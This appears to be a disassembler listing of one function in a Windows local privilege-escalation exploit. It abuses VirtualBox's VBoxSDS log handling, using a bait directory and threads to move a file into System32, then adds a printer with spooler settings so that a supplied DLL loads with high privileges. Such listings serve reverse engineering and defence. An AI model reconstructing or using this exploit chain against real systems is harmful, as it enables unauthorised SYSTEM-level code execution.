Function at 0x140001f50
Capabilities:
Create directory
Create thread
Delete directory
Delete file

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x228]
sub rsp, 0x328
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rdi, rdx
cmp ecx, 2
jge 0x140001f91
lea rcx, str..exploit.exe__dll_
call fcn.140001380
mov eax, 0xffffffff
jmp 0x140002401
lea rcx, str.ntdll.dll
mov qword [rsp + 0x340], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x140001ff3
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rbx
mov qword [0x140026e00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x140026de8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140026df0], rax
cmp qword [0x140026e00], 0
je 0x14000241a
cmp qword [0x140026de8], 0
je 0x14000241a
mov qword [rsp + 0x318], r14
mov qword [rsp + 0x310], r15
call fcn.1400018e0
xor edx, edx
lea rcx, str.C:explt_bait
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, qword [rdi + 8]
call fcn.140001bf0
xor ebx, ebx
lea r8, [0x140001860]
mov qword [rsp + 0x28], rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
lea r9d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
nop
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x40000000
lea rcx, str.C:ProgramDataVirtualBoxVBoxSDS.log.9
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140026de0], rax
cmp rax, 0xffffffffffffffff
je 0x140002060
nop dword [rax + rax]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x40000000
lea rcx, str.C:explt_baitVBoxSDS.log.9
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140026dd0], rax
cmp rax, 0xffffffffffffffff
je 0x1400020a0
mov qword [rsp + 0x28], rbx
lea r8, [0x140001f00]
mov r9, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x140026de0]
lea rdx, [0x1400025d0]
mov r14, rax
call section..text
mov qword [0x140026e08], rax
test rax, rax
je 0x140002129
mov rcx, qword [rax + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.140001730
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, str.C:WindowsSystem32VBoxSDS.log.10
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140026dd0], rax
test eax, eax
je 0x1400023af
lea rcx, str.___File_move_success__n
mov qword [rsp + 0x350], rsi
call fcn.140001380
mov rcx, qword [0x140026dd0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rsp + 0x40]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 1]
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WINSPOOL.DRV_EnumPrinterDriversW]
mov ecx, dword [rsp + 0x40]
call fcn.14000c1bc
mov ecx, dword [rsp + 0x40]
mov rsi, rax
lea rax, [rbp - 0x20]
xor edx, edx
mov qword [rsp + 0x30], rax
mov r9, rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r8d, [rdx + 1]
xor ecx, ecx
call qword [sym.imp.WINSPOOL.DRV_EnumPrinterDriversW]
test eax, eax
jne 0x140002217
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140021600]
call fcn.140001380
jmp 0x1400023a7
cmp dword [rbp - 0x20], ebx
jbe 0x1400023a7
mov qword [rsp + 0x358], r12
lea r12, str.PORTPROMPT:
mov qword [rsp + 0x320], r13
lea r13, [0x1400216a0]
nop
mov rdx, qword [rsi]
lea rcx, str.___Trying_printer_driver:__ls_n
call fcn.140001380
movaps xmm0, xmmword [str.C:WindowsSystem32VBoxSDS.log.10]
lea rcx, [rbp + 0x46]
movaps xmm1, xmmword [0x140021650]
xor edx, edx
mov eax, dword [0x140021680]
mov r8d, 0x1ba
mov rdi, qword [rsi]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x140021660]
movaps xmmword [rbp + 0x10], xmm1
movaps xmm1, xmmword [0x140021670]
mov dword [rbp + 0x40], eax
movzx eax, word [0x140021684]
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm1
mov word [rbp + 0x44], ax
call fcn.1400041a0
xorps xmm0, xmm0
lea rcx, [rbp - 0x18]
movups xmmword [rbp - 0x18], xmm0
call qword [sym.imp.RPCRT4.dll_UuidCreate]
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x18]
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
xorps xmm0, xmm0
lea r8, [rsp + 0x50]
xor eax, eax
mov edx, 2
mov qword [rbp - 0x30], rax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
lea rax, str.winprint
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], r12
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x70], rdi
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x60], r13
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.WINSPOOL.DRV_AddPrinterW]
mov rdi, rax
test rax, rax
jne 0x140002351
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error__AddPrinter_:_0x_x_n
call fcn.140001380
add rsi, 8
inc ebx
cmp ebx, dword [rbp - 0x20]
jb 0x140002240
jmp 0x140002397
lea rcx, str.___Printer_added__n
call fcn.140001380
lea rax, [rbp]
mov dword [rsp + 0x28], 0x200
mov r9d, 1
mov qword [rsp + 0x20], rax
lea r8, str.Module
mov rcx, rdi
lea rdx, str.CopyFiles_
call qword [sym.imp.WINSPOOL.DRV_SetPrinterDataExW]
lea rcx, str.___DLL_should_be_loaded__n
call fcn.140001380
mov r12, qword [rsp + 0x358]
mov r13, qword [rsp + 0x320]
mov rsi, qword [rsp + 0x350]
lea rcx, str.gotcha_n
call fcn.140001380
lea rcx, str.C:explt_baitVBoxSDS.log.9
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:explt_bait
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x310]
xor eax, eax
mov r14, qword [rsp + 0x318]
mov rbx, qword [rsp + 0x340]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.1400027e0
add rsp, 0x328
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.140001380
xor ecx, ecx
call fcn.140006ac8
int3